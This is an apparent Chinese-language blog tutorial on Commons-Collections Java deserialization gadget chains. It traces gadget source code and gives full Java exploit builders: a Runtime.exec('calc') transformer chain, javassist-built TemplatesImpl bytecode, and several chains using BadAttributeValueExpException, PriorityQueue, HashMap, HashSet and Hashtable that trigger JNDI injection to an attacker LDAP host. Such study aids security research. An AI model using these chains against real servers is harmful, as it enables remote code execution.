整過Fastjson、Jackson和XML反序列化之後,感覺還需要對Commons-Collections鏈來個更清晰的認識,所以決定從ysoserial原始碼和CC鏈原始碼出發,復原整個鏈是如何構造出來的
1 基礎
首先要說一個重要假設,如果某臺伺服器上,開了一個服務,接受java序列化位元組碼,並且使用ObjectInputStream.readObject方法進行反序列化,應該如何利用?
- 直接寫一個惡意java類,例如Test,並在其中寫入命令執行的程式碼,序列化後傳給伺服器,可以在伺服器上執行嗎?當然不行!因為沒有Test類,伺服器上執行readObject的時候直接報錯,找不到Test類
- 必須用伺服器上存在的類,怎麼讓它在readObject執行過程中觸發呢?這裡就是CC鏈的重要意義了,如果反序列化的類定義了readObject方法,伺服器上執行ObjectInputStream.readObject時,會自動呼叫反序列化類中的readObject方法,更進一步的,如果反序列化類的readObject方法中執行了該類成員變數的某些方法,而這些成員變數是可控的,一個反序列化利用或許就出現了
在readObject反序列化中有個重要利用鏈就是Commons-Collections元件的利用鏈,該元件是各種中介軟體必用的元件,所以可以利用的範圍廣泛!
CC鏈(Commons-Collections)中非常重要的就是幾個Transformer類、HashMap、HashSet、HashTable、LazyMap、TiedMapEntry、BadAttributeValueExpException、AnnotationInvocationHandler、Proxy.newProxyInstance,看著好像很多有點唬人,其實理解之後會發現都不是大問題,特別是看過這些類的原始碼之後,每個利用鏈就會很清晰。一個一個來:
ConstantTransformer
這個類的作用就是儲存一個物件而已,建立例項時需要傳入一個需要儲存的物件,呼叫例項的transform即可獲得其中的常量,沒有多餘的處理邏輯(推薦直接看原始碼)
public O transform(final I input) {
return iConstant;
}
InvokeTransformer
這個類的主要功能就是執行某個物件的某個方法,直接上原始碼
//建構函式
public InvokerTransformer(final String methodName, final Class<?>[] paramTypes, final Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes != null ? paramTypes.clone() : null;
iArgs = args != null ? args.clone() : null;
}
//功能函式
public O transform(final Object input) {
if (input == null) {
return null;
}
try {
final Class<?> cls = input.getClass();
final Method method = cls.getMethod(iMethodName, iParamTypes);
return (O) method.invoke(input, iArgs);
}catch (...){...}
- 建構函式要求傳入方法名,方法需要引數型別,具體引數
- 功能函式transform需要傳入一個物件,然後執行建構函式中給定的方法
其實這個類的功能就是反射執行一個類的特定方法而已
ChainedTransformer
這個類建立例項時,需要傳入一個Transformer陣列,該類的功能就是遍歷執行Transformer陣列的transform函式,並且將上一次的transform函式的執行結果作為下一次transform的輸入,看原始碼
public T transform(T object) {
for (final Transformer<? super T, ? extends T> iTransformer : iTransformers) {
object = iTransformer.transform(object);
}
return object;
}
其中的iTransformer就是建立時傳入的Transformer陣列。
到這裡,三個Transformer其實就可以連線起來了,先建立一個Transformer陣列,用ConstantTransformer起手,傳入一個物件,用InvokeTransformer一步一步呼叫函式,再將陣列傳入ChainedTransformer,呼叫其transform函式。
舉例,先定義一個Test類
public static class Test{
public String name;
public Test setName(String name) {
System.out.println("setName to " + name);
this.name = name;
return this;
}
public String getName(){
System.out.println("getName " + this.name);
return this.name;
}
}
再寫一個transformer陣列,並傳入ChainedTransformer,呼叫transform方法
從例子不難理解,chainedTransformer呼叫過程和object.xxx().yyy().zzz()是一樣的,只是需要用InvokerTransformer來完成。那Transformer陣列就可以組合成任意想要執行的程式碼,例如
Transformer[] transformer = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{0, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
chainedTransformer.transform(null);
這個利用鏈等價於Runtime.class.getMethod("getRuntime", null).invoke(null, null).exec("calc")
或者也可以用chainedTransformer鏈呼叫JdbcRowSetImple,恰好它還繼承了Serializable,可以序列化,所以只需要設定一下dataSourceName屬性再呼叫autoCommit即可觸發JNDI注入,就不展開說明了,瞭解過fastjson漏洞就清楚了。程式碼如下
String dataSource = "ldap://192.168.x.x:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
Transformer[] transformer = {
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
LazyMap
前面ChainedTransformer已經可以打通命令執行或者程式碼執行了,那麼如何在readObject之後,執行到transform函式呢,先一步一步來。一般都不會有什麼程式碼直接寫個xxx.transform(null),所以需要進一步包裝一下。恰好有個LazyMap,關鍵原始碼如下
//靜態方法,建立LazyMap例項
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
// 建構函式,將傳入的Transformer設定為this.factory
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
// 重點方法,裡面會呼叫到this.factory.transform()
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
簡單看一下原始碼就知道,如果傳入的map是一個空的map,在get函式中就一定會指定factory.transform(key),而factory又是我們傳入的chainedTransformr例項,所以呼叫了lazyMap.get,就會命令執行了。(補充:這個類定義了writeObject和readObject方法,所以可以例項化)
HashMap<String, String> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
lazyMap.get(123);
TiedMapEntry
其實LazyMap的get方法已經可以結合一些類的readObject方法實現呼叫鏈了,但是通過TiedMapEntry可以進一步擴充套件呼叫鏈,看幾個關鍵原始碼
//建構函式,map可以傳入lazyMap,key隨便傳一個字串即可
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
//重點在於map.get(key)=lazyMap.get(key)->chainedTransformer.transform()
public Object getValue() {
return map.get(key);
}
//equals方法,重點在於呼叫了getValue()->map.get(key)
public boolean equals(Object obj) {
if (obj == this) {
return true;
}
if (obj instanceof Map.Entry == false) {
return false;
}
Map.Entry other = (Map.Entry) obj;
Object value = getValue();
return
(key == null ? other.getKey() == null : key.equals(other.getKey())) &&
(value == null ? other.getValue() == null : value.equals(other.getValue()));
}
//hashCode方法,重點也是getValue()->map.get(key)
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
//toString方法,getValue()->map.get(key)
public String toString() {
return getKey() + "=" + getValue();
}
這個類簡直是寶藏啊!把一個單純的get方法,直接擴充套件了4個方向,也就是說,找到某些類的readObject方法執行過程中,呼叫到了成員例項的getValue、equels、hashcode、toString方法,只要把成員是TiedMapEntry例項,就可以構成一個反序列化的鏈了。
TransformingComparator
這個類主要是把transform呼叫放在了compare函式中,相當於增加了一個利用鏈的方向,看看關鍵原始碼
//建構函式
public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
final Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
// compare函式,無判斷條件直接呼叫transform
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
這裡利用鏈就比較簡單了,很明顯只要readObject過程中呼叫了例項的compare方法,就可以觸發了。
PriorityQueue
這個類的核心在於readObject方法一路呼叫之後(readObject>heapify->siftDown->siftDownUsingComparator->comparator.compare(x, e)),執行到comparator.compare(e),其中e是該類佇列中的變數,可以在序列化前放進去。
到這裡需要結合另一個類,TransformingComparator來食用,TransformingComparator的compare和構造方法如下
// 構造方法
public TransformingComparator(final Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}
// compare方法
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
很明顯構造方法傳入一個tansformer物件即可,然後配合前面的呼叫鏈,執行到transform函式,所以這個類的整體呼叫鏈如下
readObject>heapify->siftDown->siftDownUsingComparator->comparator.compare(x, e)->TransformingComparator.compare(e)->transformer.transform(e))
實際上已經連線到Transformer了,用ChainedTransoformer或其它方法都可以實現RCE。到這裡ysoserial的作者為了實現任意程式碼執行,使用了另一個類:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
下面展開一下這個類
TemplatesImpl
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl是jdk自帶的類,裡面用到的核心方法如下
// 核心方法1,newTransformer
public synchronized Transformer newTransformer() throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
這裡程式碼看到getTransletInstance呼叫,跟進一下
// 核心方法2 getTransletInstance
private Translet getTransletInstance() throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
可以看到__class==null
時,會執行defineTransletClasses(),而後__class[_transletIndex].newInstance()
,在陣列中取出一個類物件呼叫newInstance方法。也就是說最終會產生一個類物件。進一步跟進defineTransletClasses方法看看
// 核心方法3,defineTransletClasses,根據位元組碼,建立類物件
private void defineTransletClasses() throws TransformerConfigurationException {
if (_bytecodes == null) { // 這裡如果_bytecodes==null,程式直接報錯,所以不能為null
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
// 獲取classLoader,用於後面載入類的位元組碼
TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader());
}
});
try {
// 建立常量
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new Hashtable();
}
for (int i = 0; i < classCount; i++) {
// 迴圈使用defineClass載入類位元組碼,返回類物件
_class[i] = loader.defineClass(_bytecodes[i]);
// 省略後的程式碼,後面基本不用看了,因為沒有對__class陣列產生影響,返回前面的getTransletInstance函式中
}
}
catch() { //異常處理,省略 }
}
返回到getTransletInstance,關鍵在於執行了__class[_transletIndex].newInstance()
建立類物件,這一步就可以在自定義的惡意類靜態程式碼塊新增惡意程式碼了
2 實現readObject方法的類及其利用鏈
前面基礎部分已經把命令執行或任意java程式碼執行串聯到,只需要執行get、equals、hashCode、toString、compare、getValue方法了,現在來找一些實現了readObject方法,並且可以其過程中呼叫了內部例項的get、equals等方法,就可以構成一個反序列化利用鏈了。
BadAttributeValueExpExceptionCC
這裡就不用ysoserial定義的Commons-Collections 1-7來稱呼了,一點也不好記,用實現了readObject方法的類名+CC簡稱更容易記憶和感受一些。
BadAttributeValueExpException實現了readObjcet方法,並且其中有個valObj.toString方法
class BadAttributeValueExpException{
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
// 建構函式
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
}
這裡是不是正好想到了前面的TiedMapEntry的toString方法!如果把valObj變成TiedMapEntry的例項,直接就從readObjct連到transform了。來看看上面的關鍵原始碼,valObj就是val這個成員,再看看建構函式,this.val會被轉換為val.toString,因此不能new BadAttributeValueExpException時傳入TiedMapEntry,需要使用反射在建立BadAttributeValueExpException物件後修改其val成員變數:
// 省略chainedTransformer建立的過程,直接從前面拿過來就可以了
HashMap<String, String> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxxx");
BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
try{
// 反射修改val
Field val = expException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(expException, tiedMapEntry);
}catch (Exception e){e.printStackTrace();}
// 本地寫檔案驗證
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
out.writeObject(expException);
ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
in.readObject();
如果感覺寫檔案驗證不夠嚴謹,可以建立一個socket服務端,本地把序列化後的位元組流傳給socket服務端,服務端把接收的位元組流直接readObject即可驗證
這裡的利用鏈也比較清晰
PriorityQueueCC
ysoserial原生呼叫鏈如下
readObject>heapify->siftDown->siftDownUsingComparator->comparator.compare(x, e)->
TransformingComparator.compare(e)->transformer.transform(e))->invokerTransformer.transform(e)->
TemplatesImpl.newTransform->TemplatesImpl.getTransletInstance->_class[_transletIndex].newInstance()
看到呼叫鏈,結合前面提到的關鍵函式,這個鏈也就很好理解了,上程式碼
// 需要反射的兩個類
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
// 這裡需要藉助javassist中的相關方法,動態建立類,動態新增類方法和靜態程式碼塊
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload = classPool.makeClass("PriorityQueueCCC");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
// 用來儲存位元組碼
byte[] bytes = payload.toBytecode();
// 反射建立TemplatesImpl類例項
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
// 反射修改其中的_bytecodes屬性
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});
// 反射修改其中的_name屬性
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");
// 建立InvokerTransformer例項,並寫好newTransfomer方法呼叫
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
// 建立TransformingComparator例項,放在後面的PriorityQueue中
TransformingComparator comparator=new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
// 反射修改PriorityQueue中的comparator變數,反序列化後,會自動呼叫comparator.compare方法
Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue,comparator);
// 修改PriorityQueue中的queue變數,因為反序列化後,queue中的物件會傳入comparator.compare方法中,
// 然後呼叫到templatesImpl.newTransform
Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue,new Object[]{templatesImpl,templatesImpl});
// 模擬序列化和反序列化
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
PriorityQueueCC2
前面使用TemplatesImpl屬實麻煩,直接把transformer處改成ChainedTransformer的例項即可,所以稍微改了一下PriorityQueueCC鏈
String dataSource = "ldap://192.168.x.x:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
Transformer[] transformer = {
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(1);
priorityQueue.add(2);
// 反射修改comparator
Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue, transformingComparator);
// 模擬序列化和反序列化
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(priorityQueue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
HashMapCC
HashMap實現了readObject方法,在反序列化後,會執行它的readObject方法,其方法中關鍵在於執行了hash(key)->key.hashCode()這個呼叫鏈,那很明顯,跟前面的TiedMapEntry就可以接起來了。先看看HashMap中涉及到的核心方法
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
// 省略很多不相關程式碼,以及讀取位元組碼中資料的程式碼
// 讀取key和value,put到HashMap的mapping中
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
這裡可以看到,最後putVal前執行了hash(key),跟進HashMap.hash(key),可以看到,直接呼叫了key.hashCode方法,如果把key設定為TiedMapEntry的例項,直接就把利用鏈構造出來了。所以,程式碼如下
String dataSource = "ldap://192.168.x.x:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
Transformer transformer[] = {
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
};
HashMap<String, String> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
HashMap hashMap1 = new HashMap(1);
// 由於是執行了key.hashCode(),所以要把tiedMapEntry作為key
hashMap1.put(tiedMapEntry, "test");
lazyMap.clear();
// hashmap.put時本地觸發exp鏈,map.put->map.hash->entry.hashcode->lazymap.get->transform
// 由於建立hashmap後,會自動給lazyMap新增一個<key,value>,所以要remove掉這個鍵值對
// 以保證lazyMap.get時,map.containsKey(key) == false,從而進入transform函式
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, transformer);
try{
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
out.writeObject(hashMap1);
ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
in.readObject();
}catch (Exception e){e.printStackTrace();}
HashSetCC
HashSet的readObject方法中,建立了HashMap,並用HashMap的例項put反序列化出來的物件
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
// 省略讀取位元組碼的部分
// Create backing HashMap 建立一個map物件,三元表示式結果會建立一個HashMap物件,而且LinkedHashMap繼承自HashMap並且沒有重寫put方法
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in all elements in the proper order. 關鍵在於執行了map.put
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
這個利用鏈和前面的HashMap利用連結上了,map.put(e, PRESENT)=HashMap.put(e, PRESENT)->HashMap.hash(e)->e.hashCode()
所以只需要把tiedMapEntry放進HashSet即可完成利用鏈的構造
String dataSource = "ldap://192.168.x.x:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
Transformer transformer[] = {
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
};
// chainedTransformer.transform(null);
HashMap<String, String> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test");
// 由於建立hashset後,會自動給lazyMap新增一個key-value,所以要remove掉這個鍵值對
// 以保證lazyMap.get時,map.containsKey(key) == false,從而進入transform函式
// 避免hashset.add時本地觸發exp add->map.put->map.hash->entry.hashcode->lazymap.get->transform
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, transformer);
try{
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
out.writeObject(hashSet);
ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
in.readObject();
}catch (Exception e){e.printStackTrace();}
HashTableCC
先看看HashTable的readObject方法
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException
{
// 省略前面不相關程式碼
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject(); // 讀取key
@SuppressWarnings("unchecked")
V value = (V)s.readObject(); // 讀取value
// synch could be eliminated for performance
reconstitutionPut(table, key, value); // 給內部table新增key-value
}
}
跟進reconstitutionPut方法
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode(); // 注意這裡
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) { // 注意key.equals()
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
很明顯了,看到key.hashCode可以直接和TiedMapEntry連結起來;而key.equals也可以執行執行嗎?
先來看看HashTable->TiedMapEntry->LazyMap->ChainedTransformer的利用鏈
String dataSource = "ldap://192.168.x.x:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
Transformer transformer[] = {
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
};
// 建立lazyMap
HashMap<String, String> hashMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer);
lazyMap.put("test", 1);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
Hashtable hashtable = new Hashtable(1);
hashtable.put(tiedMapEntry, 1);
lazyMap.remove("test");
// 由於建立hashtable後,會自動給lazyMap新增一個key-value,所以要remove掉這個鍵值對
// 以保證反序列化後,lazyMap.get時,map.containsKey(key) = false,從而進入transform函式
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, transformer);
// 本地寫檔案
try{
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
out.writeObject(hashtable);
ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
in.readObject();
}catch (Exception e){e.printStackTrace();}
這個鏈主要是在HashTable.reconstitutionPut中呼叫key.hashCode()方法,而這個key可以被設定為tiedMapEntry物件,所以就形成了HashTable->TiedMapEntry->..ChainedTransformer的利用鏈。
HashTableCC2
然後再來看看key.equals的觸發點,這裡需要對lazyMap進一步解析,特別是其內部的map。我們在建立lazyMap的時候,傳入了一個HashMap,又由於LazyMap繼承自AbstractMapDecorator,所以其map屬性定義也是繼承自AbstractMapDecorator。
// 類的繼承關係
public class LazyMap extends AbstractMapDecorator implements Map, Serializable{
// 建立lazyMap的方法
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
// 建構函式
protected LazyMap(Map map, Transformer factory) {
super(map); // 呼叫父類的構造方法
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
// super(map) 父類建構函式
public AbstractMapDecorator(Map map) {
if (map == null) {
throw new IllegalArgumentException("Map must not be null");
}
this.map = map; // 注意這裡,this.map=傳進來的map,也就是HashMap
}
}
然後this.map=HashMap,所以看看HashMap的原始碼
public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable
看到HashMap繼承了AbstractMap,跟進看一下AbstractMap的原始碼,並且主要看一下equals方法!
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o; // 這裡轉換了一下變數名 m = o
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key))) // 執行了m.get()
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch () { //省略}
return true;
}
到這裡,如果m就是我們輸入的lazyMap,結合前面提到過的lazyMap.get->transformer.transform,那直接就進入惡意程式碼環節了。所以先來個利用程式碼,再梳理一下利用鏈
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
String dataSource = "ldap://192.168.x.x:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
Transformer transformer[] = {
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}),
new ConstantTransformer(jdbcRowSet),
new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true})
};
Map map1=new HashMap();
Map map2=new HashMap();
Map lazyMap1= LazyMap.decorate(map1,chainedTransformer);
Map lazyMap2= LazyMap.decorate(map2,chainedTransformer);
Field f = Class.forName("org.apache.commons.collections.map.AbstractMapDecorator").getDeclaredField("map");
f.setAccessible(true);
Object map = f.get(lazyMap1);
System.out.println(map.getClass().getName());
lazyMap1.put("yy",1);
lazyMap2.put("zZ",1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
lazyMap2.remove("yy");
//避免hashtable.put本地觸發exp
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformer);
// 讀寫檔案測試
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(hashtable);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
反序列化的時候是這樣觸發的:
HashTable.readObject()
Hashtable.reconstitutionPut() 原始碼 -> e.key.equals(key) 這裡e.key是一個lazyMap,key也是lazyMap
lazyMap本身沒有實現equals方法,繼承了AbstractMapDecorator,所以呼叫父類的equals方法
AbstractMapDecorator.equals(key) 原始碼 -> return this.map.equals(key)
HashMap.equals(key)
AbstractMap.equals(key)
m.get(xx) <=> lazyMap.get(xx)
AbstractMapDecorator.equals原始碼中,使用其例項中map成員的equals方法,即return this.map.equals(key)
由於建立lazyMap時,傳入的是一個HashMap,所以呼叫了HashMap.equals,而HashMap繼承自AbstractMap,並且沒有重寫equals方法,所以實際上呼叫AbstractMap.equals(key)。
在上面AbstractMap.equals(key)原始碼會存在m=o,再m.get(key),實際上引數o就是一個之前從Hashtable.reconstitutionPut()一路傳遞進去的那個key,也就是lazyMap,所以這裡就等於是執行lazyMap.get(xx),到此利用鏈就連起來了。
最後給個IDEA報錯提示,看看呼叫鏈
at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:132)
at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122)
at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:151)
at java.util.AbstractMap.equals(AbstractMap.java:472)
at org.apache.commons.collections.map.AbstractMapDecorator.equals(AbstractMapDecorator.java:129)
at java.util.Hashtable.reconstitutionPut(Hashtable.java:1221)
at java.util.Hashtable.readObject(Hashtable.java:1195)
這個利用鏈似乎有點繞,但多看看原始碼和利用程式碼,還是比較容易理解的
AnnotationInvocationHandlerCC
這個利用鏈,主要是用到了AnnotationInvocationHandler類,它繼承了InvocationHandler和Serializable,並且還重寫了readObject方法。
